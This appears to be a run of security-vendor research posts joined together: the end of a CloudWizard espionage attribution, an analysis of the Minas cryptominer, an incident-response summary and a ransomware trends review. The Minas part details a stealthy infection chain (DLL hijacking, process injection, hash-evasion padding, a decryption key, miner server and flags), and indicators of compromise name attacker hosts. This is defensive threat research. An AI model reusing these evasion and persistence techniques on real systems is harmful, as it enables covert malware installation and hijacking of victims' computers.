• Prikormka USB DOCS_STEALER module (MD5: 7275A6ED8EE314600A9B93038876F853B957B316) contains the PDB path D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb;
• BugDrop USB stealer module (MD5: a2c27e73bc5dec88884e9c165e9372c9) contains the PDB path D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb.

The following facts allow us to conclude with medium to high confidence that the CloudWizard framework is operated by the actor behind Operation Groundbait and Operation BugDrop:

• ESET researchers found the loader of CloudWizard version 4.0 dll (with the export name LCrPsdNew.dll) to be similar to a Prikormka DLL. The similarity between these two files has been noted in the Virus Bulletin 2019 talk ‘Rich headers: leveraging the mysterious artifact of the PE format’ (slide 42)

  Slide 42 of the VB2019 ‘Rich headers: leveraging the mysterious artifact of the PE format’ talk

• ESET detects a loader of a CloudWizard v. 4 sample (MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb) as Win32/Prikormka.CQ.
• According to our telemetry data, multiple infections with the Prikormka malware ended with a subsequent infection with the CloudWizard framework
• Implementation of several modules of CloudWizard resembles the corresponding one from the Prikormka and BugDrop modules, though rewritten from C to C++:
  • USB stealer modules retrieve the serial numbers and product IDs of connected USB devices via the IOCTL_STORAGE_QUERY_PROPERTY system call. The default fallback value in case of failure is the same, “undef”.

    Retrieval of USB device serial number and product ID in BugDrop (MD5: F8BDE730EA3843441A657A103E90985E)

    Retrieval of USB device serial number and product ID in CloudWizard (MD5: 39B01A6A025F672085835BD699762AEC)

    Assignment of the ‘undef’ string in BugDrop (left) and CloudWizard (right) in the samples above

  • The modules for taking screenshots use the same list of window names that trigger an increase in the frequency of screenshot taking: ‘Skype’ and ‘Viber’. CloudWizard and Prikormka share the same default value for the screenshot taking interval (15 minutes).

    Comparison of the window title text in Prikormka (MD5: 16793D6C3F2D56708E5FC68C883805B5)

    Addition of the ‘SKYPE’ and ‘VIBER’ string to a set of window titles in CloudWizard (MD5: 26E55D10020FBC75D80589C081782EA2)

  • The file listing modules in both Prikormka and CloudWizard samples have the same name: Tree. They also use the same format string for directory listings: “\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”.

    Use of the same format string for directory listings in Prikormka (above, MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (below, MD5: BFF64B896B5253B5870FE61221D9934D)

  • Microphone modules record sound in the same way: first making a WAV recording using Windows Multimedia API and then converting it to MP3 using the LAME library. While this pattern is common in malware, the strings used to specify settings for the LAME library are specific: 8000 Hz and 16 Kbps. Both Prikormka and CloudWizard modules extract integers from these strings, using them in the LAME library.
  • A similar order of extensions is used in extension lists found in Prikormka and CloudWizard modules:
    

    Extension lists in Prikormka (left, MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (right, MD5: BFF64B896B5253B5870FE61221D9934D)

• In Prikormka, the names of files to be uploaded to the C2 server have the name format mm.yy_hh.mm.ss.<extension>. In CloudWizard, the files have the name format dd.mm.yyyy_hh.mm.ss.ms.dat. The date substituted into the name format strings is retrieved from the GetLocalTime API function.
• The C2 servers of both Prikormka and CloudWizard are hosted by Ukrainian hosting services. Additionally, there are similarities between BugDrop and CloudWizard in terms of exfiltrating files to the Dropbox cloud storage.
• Victims of Prikormka, BugDrop and CloudWizard are located in western and central Ukraine, as well as the area of conflict in Eastern Europe.

As for the similarities between CloudWizard and CommonMagic, they are as follows:

• The code that performs communication with OneDrive is identical in both frameworks. We did not find this code to be part of any open-source library. This code uses the same user agent: “Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”.

The same strings in the internet communication module of CloudWizard (left, MD5: 84BDB1DC4B037F9A46C001764C115A32) and CommonMagic (right, MD5: 7C0E5627FD25C40374BC22035D3FADD8)

• Both frameworks, CloudWizard (version 4) and CommonMagic use the RC5Simple library for encryption. Files encrypted with RC5Simple start with a 7-byte header, which is set to ‘RC5SIMP’ in the library source code. However, this value has been changed in the malicious implants: DUREX43 in CloudWizard and Hwo7X8p in CommonMagic. Additionally, CloudWizard and CommonMagic use the RapidJSON library for parsing JSON objects.
• Names of files uploaded to the C2 server in CommonMagic have the format mm.dd _hh.mm.ss.ms.dat (in CloudWizard, the name format is dd.mm.yyyy_hh.mm.ss.ms.dat).
• Victim IDs extracted from CloudWizard and CommonMagic samples are similar: they contain a date followed by the two same letters, e.g. 03072020DD, 05082020BB in CloudWizard and WorkObj20220729FF in CommonMagic.
• Victims of CommonMagic and CloudWizard are located in the area of conflict in Eastern Europe.

So what?

We initiated our investigation back in 2022, starting with simple malicious PowerShell scripts deployed by an unknown actor and ended up discovering and attributing two large related modular frameworks: CommonMagic and CloudWizard. As our research demonstrates, their origins date back to 2008, the year the first Prikormka samples were discovered. Since 2017, there have been no traces of Groundbait and BugDrop operations. However, the actor behind these two operations has not ceased their activity, and has continued developing their cyberespionage toolset and infecting targets of interest for more than 15 years.

Indicators of compromise

NSIS installer

MD5 0edd23bbea61467f144d14df2a5a043e
SHA256 177f1216b55058e30a3ce319dc1c7a9b1e1579ea3d009ba965b18f795c1071a4

Loader (syncobjsup.dll)

MD5 a2050f83ba2aa1c4c95567a5ee155dca
SHA256 041e4dcdc0c7eea5740a65c3a15b51ed0e1f0ebd6ba820e2c4cd8fa34fb891a2

Orchestrator (Main.dll)

MD5 0ca329fe3d99acfaf209cea559994608
SHA256 11012717a77fe491d91174969486fbaa3d3e2ec7c8d543f9572809b5cf0f2119

Domains and IPs

91.228.147[.]23
curveroad[.]com

Sometimes when investigating an infection and focusing on a targeted attack, we come across something we were not expecting. The case described below is one such occurrence.

In June 2022, we found a suspicious shellcode running in the memory of a system process. We decided to dig deeper and investigate how the shellcode was initially placed into the process and where on the infected system the threat was hidden.

The infection chain

We were unable to reproduce the whole infection procedure, but we were able to reconstruct it from the point at which PowerShell was executed, as shown in the sceme below.

General attack execution flow

In a nutshell, the infection chain is as follows:

1. PowerShell script runs via the Task Scheduler and downloads the lgntoerr.gif file from a remote server.
2. The script decrypts lgntoerr.gif, resulting in a .NET DLL, which is then loaded.
3. The .NET DLL extracts and decrypts three files from its resources: two DLLs and an encrypted payload. The extracted files are placed in the ProgramData directory.
4. The .NET DLL creates a task to autorun the legitimate ilasm.exe component at system startup via Task Scheduler.
5. Task Scheduler starts ilasm.exe from the ProgramData directory.
6. ilasm.exe launches fusion.dll, a malicious DLL hijacker, from the same directory.
7. fusion.dll loads the second decrypted DLL.
8. That DLL creates a suspended dllhost.exe process.
9. It then decrypts the payload from the encrypted binary file.
10. The decrypted payload is loaded into the dllhost.exe process as a DLL.
11. The PID of the dllhost.exe process is saved to a file in the ProgramData directory.
12. The dllhost.exe process passes control to the decrypted payload.
13. The payload DLL extracts and launches the miner DLL in memory.

We named this malware Minas. From our reconstruction of the infection chain, we determined that it originated by running an encoded PowerShell script as a task, which we believe with low confidence was created through GPO:

Encoded PowerShell command

Technical description

The core functionality of the PowerShell script is to launch the malware installation process. To do this, the PowerShell script downloads an encrypted payload from a remote server, decrypts it using a custom XOR encryption algorithm with the key “fuckkasd9akey” and loads the  payload into memory:

Decoded PowerShell command

The payload is a .NET binary (DLL) that is launched by the PowerShell process, passing three arguments:

$a.GetType(“I.C”).GetMethod(“I”).Invoke($null, ([Byte[]]($d),”A5D9FD13″,0));

1. $d: .NET DLL as an array of bytes;
2. A5D9FD13: (key for decrypting resources in the .NET DLL);
3. 0: (parameter used to block the creation of more than one main payload process).

This .NET binary (which we will refer to as “the installer”) is responsible for the subsequent installation of the malware components contained in the resources of .NET DLL.

Using hash functions (Ap, SDBM, RS), the installer creates a directory structure:

C:\ProgramData\{ApHash(MachineName)}\{ApHash(MachineName)}\ilasm.exe C:\ProgramData\{ApHash(MachineName)}\{ApHash(MachineName)}\fusion.dll C:\ProgramData\{ApHash(MachineName)}\{RSHash(MachineName)}\{RSHash(MachineName)} C:\ProgramData\{SDBMHash(MachineName)}\{SDBMHash(MachineName)}.dll

Example files and directories

Next, it checks for the presence of the legitimate ilasm.exe file (version 4.0.30319 located at %windir%\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe or version 2.0.50727 located at %windir%\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe) on the system (note that if ilasm.exe is present on the system, it should be in one of these directories). If the file is not found, the installation process will be terminated. As soon as ilasm.exe is found, a Scheduled Task is created as a persistence mechanism:

• Task path – C:\Windows\System32\Tasks\Windows\Microsoft\{RSHash(ApHash(Hostname))}\{ApHash(RSHash(Hostname))} • File name - C:\ProgramData\{ApHash(MachineName)}\{ApHash(MachineName)}\ilasm.exe • Delay - 120 seconds

After this, the files are copied to the previously created directories as mentioned above (see directory structure).

The malware then proceeds to append the first 100 bytes of the installer to the file {RSHash(MachineName)} that was extracted from the “_64_bin” .NET DLL resource, and the resulting file is encrypted (the key is the machine name in lower case). In addition, up to 10240 of random bytes are appended to the fusion.dll and {SDBMHash(MachineName)}.dll files, thus rendering hash detection by anti-malware products ineffective.

After that, the installer starts the previously created task for the running ilasm.exe, which in turn loads the malicious fusion.dll library located in the same directory, under the assumption it is using the legitimate fusion.dll (DLL hijacking technique).

The malware execution process consists of two loaders: DLL hijacker fusion.dll and the next stage loader {SDBMHash(MachineName)}.dll.

The DLL hijacker does three things:

1. Hides the console of the ilasm.exe process.
2. Determines whether the name of the process is ilasm.exe. If not, it terminates the process.
3. Based on the SDBM hash function, it builds the path C:\ProgramData\{SDBMHash(MachineName)}\{SDBMHash(MachineName)}.dll and tries to load that DLL into memory via the LoadLibraryA API function.

The loaded {SDBMHash(MachineName)}.dll DLL again checks whether the name of the process is ilasm.exe.

It then generates the file path C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})} and checks if it exists. If the file exists, it reads the value (decimal number) from it. This decimal number is the PID of the dllhost.exe process multiplied by 0x1F4 created by a previous run of Minas. The loader then tries to terminate the process with that PID.

It then reads and decrypts (recall that the key is the machine name in lower case) the main payload (the miner) located at C:\ProgramData\{ApHash(MachineName)}\{RSHash(MachineName)}\{RSHash(MachineName)}. In addition, the loader creates a process environment variable (SetEnvironmentVariable) configuration with values ​​{“addr”:”185.243.112.239:443″,”p”:”143e256609bcb0be5b9f9c8f79bdf8c9″} (see the configuration description below for more details).

Passing parameters through the process

After that, {SDBMHash(MachineName)}.dll creates a suspended dllhost.exe process, creates a section, maps it into the dllhost.exe process and writes the previously read and decrypted file (raw loader with the miner component). It then reads the memory of the dllhost.exe process, determines the entry point of the main thread and rewrites it to:

sub rsp, 48 call (section with the body of a previously written data) nop

The PID of the created dllhost.exe process multiplied by 0x1F4 is then written to C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})}, after which the dllhost.exe process resumes. It then terminates the ilasm.exe process.

Last but not least, dllhost.exe passes control flow to the decrypted raw loader that maps the XMRig miner (assembly of the XMRig miner in the form of a DLL file) in the process memory, and then launches it using reflective loading.

The miner gets the values ​​of the process environment variable configuration using (GetEnvironmentVariable). These values ​​are used for mining cryptocurrency with the following configuration:

"-o 185.243.112.239:443" (IP address obtained from environment variable configuration, addr value) — acts as the address of the mining server. "--tls" Enables SSL/TLS support (requires pooling support). "--tls-fingerprint 14E18CC1BD2F1AF7344B31692CAEDA949A62F71475F43AE4D9EA287E9847B495" Pool TLS certificate thumbprint for certificate hard pinning. "cpu-max-threads-hint 64" Maximum number of threads. "-B" Runs the miner in the background. "--rig-id 143e256609bcb0be5b9f9c8f79bdf8c9" (rig ID obtained from configuration environment variable, p value) — Rig ID for pool statistics (requires pool support).

Conclusion

Minas is a miner that uses a standard implementation and aims to hide its presence. The difficulty of detection is achieved due to encryption, the random generation of names and the use of hijacking and injection techniques. It also has the ability to stay on the infected system using persistence techniques.

Although we were unable to determine with complete certainty how the initial PowerShell command was executed, our indicators pointed to execution via GPO. This is particularly worrisome because it means the attackers have compromised the network, indicating that they are going to great lengths to install their miners.

Also, it is very likely that a new variant will be released in the future that avoids AV detection. As a rule of thumb, use an AV that doesn’t primarily rely on signature detection, but also looks at (processes) behavior.

Minas indicators of compromise

MD5 hashes
08da41489b4b68565dc77bb9acb1ecb4
06fe9ab0b17f659486e3c3ace43f0e3a
f38a1b6b132afa55ab48b4b7a8986181
63e0cd6475214c697c5fc115d40327b4

More indicators of compromise and YARA rules for detecting Minas malware are available for TIP subscribers. Contact intelreports@kaspersky.com for more details.

Kaspersky offers various services to organizations that have been targeted by cyberattackers, such as incident response, digital forensics, and malware analysis. In our annual incident response report, we share information about the attacks that we investigated during the reporting period. Data provided in this report comes from our daily interactions with organizations seeking assistance with full-blown incident response or complementary expert services for their internal incident response teams.

Download the full version of the report (PDF)

Kaspersky Incident Response in various regions and industries

In 2022, 45.9% of organizations that encountered cyberincidents were in Russia and the CIS region, followed by the Middle East (22.5%), the Americas (14.3%), and Europe (13.3%).

From an industry perspective, we offered help to government (19.39%), financial (18.37%), and industrial (17.35%) organizations most frequently.

Key trends in 2022: initial attack vectors and impact

In 2022, attackers most often penetrated organizations’ infrastructure by exploiting various vulnerabilities in public-facing applications (42.9%). However, compared to 2021, the share of this initial attack vector decreased by 10.7 pp, while the share of attacks involving compromised accounts (23.8%) grew. Malicious e-mail sharing among the initial attack vectors continued to go down and comprised 11.9% in 2022.

In 39.8% cases the reported incidents were related to ransomware attacks. Encrypted data remains the number-one problem that our customers are faced with. However, compared to 2021, the number of ransomware-related incidents dropped, and not every attack involving file encryption was aimed at extracting a ransom. In some of these incidents, ransomware was used to hide the initial traces of the attack and complicate the investigation.

Expert recommendations

To protect your organization against cyberattacks, Kaspersky experts recommend the following:

• Implement a robust password policy and enforce multifactor authentication
• Remove management ports from public access
• Establish a zero-tolerance policy for patch management or compensation measures for public-facing applications
• Make sure that your employees maintain a high level of security awareness
• Use a security toolstack with EDR-like telemetry
• Implement rules for detection of pervasive tools used by adversaries
• Continuously train your incident response and security operations teams to maintain their expertise and stay up to speed with the changing threat landscape
• Back up your data on a regular basis
• Work with an Incident Response Retainer partner to address incidents with fast SLAs

To learn more about incident response in 2022, including a MITRE ATT&CK tactics and techniques heatmap, and distribution of various incidents by region and industry, download the full version of the report (PDF).

For a deeper analysis of the vulnerabilities most commonly exploited by cyberattackers, download this appendix (PDF).

Ransomware keeps making headlines. In a quest for profits, attackers target all types of organizations, from healthcare and educational institutions to service providers and industrial enterprises, affecting almost every aspect of our lives. In 2022, Kaspersky solutions detected over 74.2M attempted ransomware attacks which was 20% more than in 2021 (61.7M). Although early 2023 saw a slight decline in the number of ransomware attacks, they were more sophisticated and better targeted.

On the eve of the global Anti-Ransomware Day, Kaspersky looks back on the events that shaped the ransomware landscape in 2022, reviews the trends that were predicted last year, discusses emerging trends, and makes a forecast for the immediate future.

Looking back on last year’s report

Last year, we discussed three trends in detail:

• Threat actors trying to develop cross-platform ransomware to be as adaptive as possible
• The ransomware ecosystem evolving and becoming even more “industrialized”
• Ransomware gangs taking sides in the geopolitical conflict

These trends have persisted. A few months after last year’s blog post came out, we stumbled across a new multi-platform ransomware family, which targeted both Linux and Windows. We named it RedAlert/N13V. The ransomware, which focused on non-Windows platforms, supported the halting of VMs in an ESXi environment, clearly indicating what the attackers were after.

Another ransomware family, LockBit, has apparently gone even further. Security researchers discovered an archive that contained test builds of the malware for a number of less common platforms, including macOS and FreeBSD, as well as for various non-standard processor architectures, such as MIPS and SPARC.

As for the second trend, we saw that BlackCat adjusted their TTPs midway through the year. They registered domains under names that looked like those of breached organizations, setting up Have I Been Pwned-like websites. Employees of the victim organizations could use these sites to check if their names had popped up in stolen data, thus increasing the pressure on the affected organization to pay the ransom.

Although the third trend we spotted last year was one of ransomware gangs taking sides in the geopolitical conflict, it does not apply to them exclusively. There was one peculiar sample: a stealer called Eternity. We created a private report about this after an article claimed that the malware was used in the geopolitical conflict. Our research showed that there was a whole malware ecosystem around Eternity, including a ransomware variant. After the article appeared, the author made sure that the malware did not affect users in Ukraine and included a pro-Ukrainian message inside the malware.

The developer warns against using their malware in Ukraine

Pro-Ukrainian message inside the malware code

What else shaped the ransomware landscape in 2022

Ransomware groups come and go, and it is little wonder that some of them ceased operations last year as others emerged.

For example, we reported on the emergence of RedAlert/N13V, Luna, Sugar, Monster, and others. However, the most active family that saw light in 2022 was BlackBasta. When we published our initial report on BlackBasta in April 2022, we were only aware of one victim, but the number has since sharply increased. Meanwhile, the malware itself evolved, adding an LDAP-based self-spreading mechanism. Later, we encountered a version of BlackBasta that targeted ESXi environments, and the most recent version that we found supported the x64 architecture.

As mentioned above, while all those new groups entered the game, some others, such as REvil and Conti, went dark. Conti was the most notorious of these and enjoyed the most attention since their archives were leaked online and analyzed by many security researchers.

Finally, other groups like Clop ramped up their activities over the course of last year, reaching their peak in early 2023 as they claimed to have hacked 130 organizations using a single zero-day vulnerability.

Interestingly, the top five most impactful and prolific ransomware groups (according to the number of victims listed on their data leak sites) have drastically changed over the last year. The now-defunct REvil and Conti, which were second and third, respectively, in terms of attacks in H1 2022, gave way to Vice Society and BlackCat in Q1 2023. The remaining ransomware groups that formed the top five in Q1 2023, were Clop and Royal.

Top five ransomware groups by the number of published victims

H1 2022 H2 2022 Q1 2023 LockBit 384 LockBit 368 LockBit 272 REvil 253 BlackBasta 176 Vice Society 164 Conti 173 BlackCat 113 BlackCat 85 BlackCat 100 Royal 74 Clop 84 Vice Society 54 BianLian 72 Royal 65 Other 384 Other 539 Other 212 Ransomware from an incident response perspective

Global Emergency Response Team (GERT) worked on many ransomware incidents last year. In fact, this was the number-one challenge they faced, although the share of ransomware in 2022 decreased slightly from 2021, going from 51.9% to 39.8%.

In terms of initial access, nearly half of the cases GERT investigated (42.9%) involved exploitation of vulnerabilities in public-facing devices and apps, such as unpatched routers, vulnerable versions of the Log4j logging utility, and so on. The second-largest category of cases consisted of compromised accounts and malicious emails.

The most popular tools employed by ransomware groups remain unchanged from year to year. Attackers have used PowerShell to collect data, Mimikatz to escalate privileges, PsExec to execute commands remotely, or frameworks like Cobalt Strike for all attack stages.

Our predictions for 2023 trends

As we looked back on the events of 2022 and early 2023, and analyzed the various ransomware families, we tried to figure out what the next big thing in this field might be. These observations produced three potential trends that we believe will shape the threat landscape for the rest of 2023.

Trend 1: More embedded functionality

We saw several ransomware groups extend the functionality of their malware during 2022. Self-spreading, real or fake, was the most noteworthy new addition. As mentioned above, BlackBasta started spreading itself by using the LDAP library to get a list of available machines on the network.

LockBit added a so-called “self-spreading” feature in 2022, saving its operators the effort needed to run tools like PsExec manually. At least, that is what “self-spreading” would normally suggest. In practice, this turned out to be nothing more than a credential-dumping feature, removed in later versions.

The Play ransomware, for one, does have a self-spreading mechanism. It collects different IPs that have SMB enabled, establishes a connection to these, mounts the SMB resources, then copies itself and runs on the target machines.

Self-propagation has been adopted by many notorious ransomware groups lately, which suggests that the trend will continue.

Trend 2: Driver abuse

Abusing a vulnerable driver for malicious purposes may be an old trick in the book, but it still works well, especially on antivirus (AV) drivers. The Avast Anti Rootkit kernel driver contained certain vulnerabilities that were previously exploited by AvosLocker. In May 2022, SentinelLabs described in detail two new vulnerabilities (CVE-2022-26522 and CVE-2022-26523) in the driver. These were later exploited by the AvosLocker and Cuba ransomware families.

AV drivers are not the only ones to be abused by malicious actors. Our colleagues at TrendMicro reported on a ransomware actor abusing the Genshin Impact anti-cheat driver by using it to kill endpoint protection on the target machine.

The trend of driver abuse continues to evolve. The latest case reported by Kaspersky is rather odd as it does not fit either of the previous two categories. Legitimate code-signing certificates, such as Nvidia’s leaked certificate and Kuwait Telecommunication Company’s certificate were used to sign a malicious driver which was then used in wiper attacks against Albanian organizations. The wiper used the rawdisk driver to get direct access to the hard drive.

We continue to follow ransomware gangs to see what new ways of abusing drivers they come up with, and we will be sharing our findings both publicly and on our TIP page.

Trend 3: Code adoption from other families to attract even more affiliates

Major ransomware gangs are borrowing capabilities from either leaked code or code purchased from other cybercriminals, which may improve the functionality of their own malware.

We recently saw the LockBit group adopt at least 25% of the leaked Conti code and issue a new version based entirely on that. Initiatives like these enable affiliates to work with familiar code, while the malware operators get an opportunity to boost their offensive capabilities.

Collaboration among ransomware gangs has also resulted in more advanced attacks. Groups are working together to develop cutting-edge strategies for circumventing security measures and improving their attacks.

The trend has given rise to ransomware businesses that build high-quality hack tools and sell them to other ransomware businesses on the black market.

Conclusion

Ransomware has been around for many years, evolving into a cybercriminal industry of sorts. Threat actors have experimented with new attack tactics and procedures, and their most effective approaches live on, while failed experiments have been forgotten. Ransomware can now be considered a mature industry, and we expect no groundbreaking discoveries or game-changers any time soon.

Ransomware groups will continue maximizing the attack surface by supporting more platforms. While attacks on ESXi and Linux servers are now commonplace, top ransomware groups are striving to target more platforms that might contain mission-critical data. A good illustration of this trend is the recent discovery of an archive with test builds of LockBit ransomware for macOS, FreeBSD, and unconventional CPU architectures, such as MIPS, SPARC, and so on.

In addition to that, TTPs that attackers use in their operations will continue to evolve — the driver abuse technique, which we discussed above, is a good example of this. To effectively counter ransomware actors’ ever-changing tactics, we recommend that organizations and security specialists:

• Update their software in a timely manner to prevent infection through vulnerability exploitation, one of the initial infection vectors most frequently used by ransomware actors.
• Use security solutions that are tailored protecting their infrastructure from various threats, including anti-ransomware tools, targeted attack protection, EDR, and so on.
• Keep their SOC or information security teams’ knowledge about ransomware tactics and techniques up to date by using the Threat Intelligence service, a comprehensive source of crucial information about new tricks that cybercriminals come up with.